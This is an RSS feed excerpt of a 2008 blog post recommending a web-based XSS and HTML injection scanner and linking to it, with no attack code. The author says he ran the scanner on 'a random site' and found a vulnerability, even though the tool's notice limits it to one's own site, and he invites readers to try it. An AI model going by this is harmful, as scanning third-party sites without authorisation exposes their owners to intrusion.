		<title>Web Based HTML Injection Scanner</title>
		<link>http://zoiz.web.id/xss-corner/web-based-html-injection-scanner.html</link>
		<comments>http://zoiz.web.id/xss-corner/web-based-html-injection-scanner.html#comments</comments>
		<pubDate>Sun, 13 Jan 2008 16:25:41 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[XSS Corner]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/xss-corner/web-based-html-injection-scanner.html</guid>
		<description><![CDATA[When I was browsing Lain&#8216;s Blog, I saw a web based tool to scan your web application vulnerability of XSS and HTML Injection developed by SEO Egghead. Although it&#8217;s old, but maybe it&#8217;s still useful. Here is the review : &#8220;This little tool scans a page for common XSS / HTML injection vulnerabilities. Please note: [...]]]></description>
			<content:encoded><![CDATA[<p>When I was browsing <a href="http://lifedork.com" target="_blank">Lain</a>&#8216;s Blog, I saw a web based tool to scan your web application vulnerability of XSS and HTML Injection developed by <a href="http://www.seoegghead.com" target="_blank">SEO Egghead</a>. Although it&#8217;s old, but maybe it&#8217;s still useful.</p>
<p>Here is the review :</p>
<p><span id="more-59"></span></p>
<p>&#8220;This little tool scans a page for common <strong>XSS / HTML injection vulnerabilities</strong>.<br />
<strong>Please note:</strong> This tool is intended to scan <em>your</em> site for potential HTML-injection.  If I see bulk-requests, your IP may be banned.&#8221; This is how Jaimie Sirovich said, so use this tool and obey the rules. I&#8217;ve tried this <strong>XSS / HTML Injection Scanner</strong> on a random site, and indeed this XSS / HTML Injection scanner founds a XSS vulnerability on that site. Don&#8217;t believe me? Just try it yourself here :</p>
<p><a href="http://www.seoegghead.com/tools/scan-for-html-injection.php" target="_blank">http://www.seoegghead.com</a></p>
<p>Thanks</p>
<p>Zoiz</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/web-based-html-injection-scanner.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
